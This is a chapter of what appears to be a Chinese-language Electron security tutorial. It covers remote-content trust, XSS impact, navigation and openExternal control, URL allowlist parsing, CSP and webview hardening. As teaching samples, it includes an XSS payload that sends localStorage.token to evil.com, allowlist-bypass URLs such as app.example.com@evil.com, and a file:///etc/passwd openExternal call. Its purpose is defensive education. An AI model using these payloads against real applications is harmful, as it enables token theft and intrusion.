第三章:Renderer 里的代码,到底来自哪里?
上一章结尾留了一个问题:Renderer 里的代码,到底来自哪里?
很多人的第一反应是:当然是我写的代码。这只对了一半。
Renderer 里跑的,是你加载进来的东西。这一章就讲它引出的一连串问题。
3.1 远程内容永远不可信
加载本地资源,代码是你的:
js
win.loadFile(path.join(__dirname, 'index.html'))
它经过你的手、经过构建、经过发布,内容大致可控。
加载远程页面,代码是别人的:
js
win.loadURL('https://app.example.com/')
它在别人的服务器上。别人在更新,也可能被别人动过。

麻烦在于:Renderer 不认"出身"。加载进来之后,远程代码和本地代码跑在同一个地方,摸得到同一份 window.api。
所以原则只有一句:
远程页面从加载那一刻起,就按不可信内容对待。
3.2 HTTPS 远远不够
不少应用加载自家后端页面,觉得 HTTPS 加自家域名,够安全了。
但域名是你的,链路不全是你的。域名可能过期被抢注,服务器可能被攻破,CDN 可能被投毒。
更常见的是:你的页面自己就在引入别人的代码。
html
<script src="https://cdn.example.com/analytics.js"></script>
这个 CDN 一旦被投毒,链路就是:
text
别人家的 JS 进你的 Renderer → 开始摸 window.api → 摸到什么用什么
HTTPS 只保证"传输途中没人改",不保证"对方是好人"。
所以要问的不是"这个站点可不可靠",而是"它如果被攻破,在我的应用里能做什么?"
3.3 XSS 的危害,由你暴露的能力决定
在 Web 上,XSS 得手之后通常是偷 cookie、伪造界面。
在 Electron 里,XSS 得手后第一件事是"摸环境":
js
typeof require // Node Integration 开着吗?
window.api // Preload 暴露了什么?
window.electron // 有没有老代码把整包能力挂在 window 上?
摸到什么,就决定它能走多远。
nodeIntegration 开着,故事到这里就结束了,直接 RCE。
关着,就看你暴露了什么。你暴露的是这个:
js
getCurrentUser: () => ipcRenderer.invoke('user:get')
它最多偷走用户信息。你暴露的是这个:
js
executeCommand: (cmd) => ipcRenderer.invoke('exec', cmd)
那恭喜,攻击者拿到一个 shell。
XSS 的危害半径不取决于 XSS 本身。XSS 只是入口,能造成多大危害是你决定的------这也是前两章反复讲最小暴露的原因。
3.4 防住页面的三种跳转
就算页面本身干净,它也可能被"带偏":一个恶意链接、一次跳转,Renderer 就从你的域名去了攻击者的域名。
页面能发起三类跳转:
站内跳转,用 will-navigate 控制:
js
win.webContents.on('will-navigate', (e, url) => {
if (!allowed(url)) e.preventDefault()
})
打开新窗口,用 setWindowOpenHandler 控制:
js
win.webContents.setWindowOpenHandler(({ url }) => {
return allowed(url) ? { action: 'allow' } : { action: 'deny' }
})
跳去外部,用 shell.openExternal。这个最具有欺骗性:
js
// ❌ 看起来是"帮用户打开链接",实际是把用户的 OS 递给入参
shell.openExternal(userInput)
它调用的是操作系统的协议分发,传什么进去,就触发什么:
js
shell.openExternal('file:///etc/passwd') // 打开本地文件
shell.openExternal('ms-settings:xxx') // 在 Windows 上拉起系统应用
正确姿势是先解析、只放行 https:
js
// ✓ URL 是结构化的东西,就按结构处理
function openExternalSafely(input) {
let url
try { url = new URL(input) } catch { return }
if (url.protocol === 'https:') {
shell.openExternal(url.toString())
}
}
前两类跳转里的 allowed 也有同款坑,下一节专门讲。
3.5 实现allowed Url
很多人的白名单是这样写的:
js
// ❌ 字符串前缀 ≠ 域名白名单
const allowed = (url) => url.startsWith('https://app.example.com')
看着没问题?攻击者只需要注册一个"以你家域名开头"的域名:
text
https://app.example.com.evil.com/ ← startsWith 返回 true,主机是 evil.com
https://app.example.com@evil.com/ ← 更阴:app.example.com 只是用户名,@ 后面才是主机
第二条尤其容易看错:app.example.com 在 URL 里是 userinfo 部分,真正的主机是 @ 后面的 evil.com。
问题根源:URL 是结构化的东西,字符串前缀不是结构。正确做法是先解析,再按字段查:
js
// ✓ 先解析,再谈字段
const allowed = (url) => {
let u
try { u = new URL(url) } catch { return false }
return u.protocol === 'https:'
&& u.hostname === 'app.example.com'
}
需要放行子域名时,注意那个点:
js
u.hostname === 'example.com'
|| u.hostname.endsWith('.example.com')
// a.example.com 过;example.com.evil.com 不过
3.6 用 CSP 限制页面能执行的代码
白名单管"页面能去哪",CSP 管"页面能执行什么代码"。
没有 CSP,XSS 进来就是敞开的:
html
<img src=x onerror="fetch('https://evil.com/?c=' + localStorage.token)">
内联脚本直接执行,数据顺手发去 evil.com,一气呵成。
加上 CSP,同一个 payload 两步都走不动:
text
default-src 'self'
→ 内联事件处理器不执行(没有 'unsafe-inline')
→ 就算执行了,往 evil.com 发数据也被拦(connect-src 只认自家域)
CSP 不是建议,是浏览器引擎强制执行的白名单。在 Electron 里可以在网络层注入:
js
session.defaultSession.webRequest.onHeadersReceived((details, cb) => {
cb({
responseHeaders: {
...details.responseHeaders,
'Content-Security-Policy': ["default-src 'self'; script-src 'self'"]
}
})
})
本地页面直接写在 meta 里也行:
html
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'">
取值原则还是最小权限:只放行该放行的,默认全拒绝。
3.7 WebView 默认关闭
要内嵌第三方页面,第一反应往往是 webview 标签。
要小心,这等于在 Renderer 里再嵌一个浏览器,里面加载的东西比你的页面更不可信。

错误写法,把配置主动权交给页面:
html
<!-- ❌ src 随页面写,还顺手开了 Node -->
<webview src="https://ads.example.com" nodeintegration></webview>
这等于多开一个不受控的加载点,还把 Node 能力递了出去。
webviewTag 默认是 false,保持住:
js
webPreferences: {
webviewTag: false
}
如果真要用 webview,就在 will-attach-webview 里把配置权收回来:剥掉 webPreferences、src 使用白名单、不添加 allowpopups:
js
win.webContents.on('will-attach-webview', (event, webPreferences, params) => {
delete webPreferences.preload
webPreferences.nodeIntegration = false
webPreferences.contextIsolation = true
if (!params.src.startsWith('https://trusted.example/')) {
event.preventDefault()
}
})
这里查的是"你认定可信的域"的固定前缀,和 3.5 里面对任意输入的白名单不是一回事。
记住:每多允许一个 webview,就多一个不可信的内容来源。
3.8 检查清单
加载任何远程内容之前,过一遍这份清单:
- 这个页面是不是非加载不可?本地页面行不行?
-
loadURL是不是只指向固定域名? -
will-navigate和setWindowOpenHandler都控制了吗? - 白名单是按
new URL的字段查的,不是startsWith拼前缀? -
shell.openExternal的入参过协议白名单了吗? - CSP 上了吗?
-
webviewTag关了吗?开着的话,will-attach-webview剥配置、查 src 了吗?
全都能打勾,风险依然有,但被关在了你看得见的地方。
本章总结
loadURL之后跑的是别人的代码,远程内容一律按不可信对待。- 自家域名 + HTTPS 只保证传输链路,不保证内容安全。
- XSS 的危害半径,由你暴露的能力栈决定。
- 站内跳转、新窗口、跳外部,三类跳转都要控制。
- URL 白名单要解析后按字段校验,不要用字符串前缀。
- CSP 限制页面能执行的代码;WebView 默认关闭。
一句话版本:你保证不了加载的内容干净,但你能保证不干净的内容做不了多少事。
下一章
这一章没有继续讨论 Renderer 权限。
因为上一章已经解决了:
Renderer 能拿到什么能力
这一章解决的是:
Renderer 能接触什么内容
两者组合起来,Electron 的安全边界才完整:

到这里,一个比较关键的问题就出现了:
即使页面不能直接访问 Node,也不能随便导航。
那如果 Renderer 主动调用 IPC,让 Main Process 帮它执行 Node.js 呢?
例如:
arduino
ipcRenderer.invoke('read-file', path)
Main Process:
javascript
ipcMain.handle('read-file', (_, path) => {
return fs.readFile(path)
})
前面的隔离全部做好了,但这里依然可能直接把文件系统暴露给 Renderer。
所以接下来真正需要解决的,是 Electron 最重要的进程间边界之一:
IPC 到底应该怎么设计,才能既能通信,又不会把 Main Process 变成 Renderer 的"万能代理"?
下一章,我们进入 IPC 安全。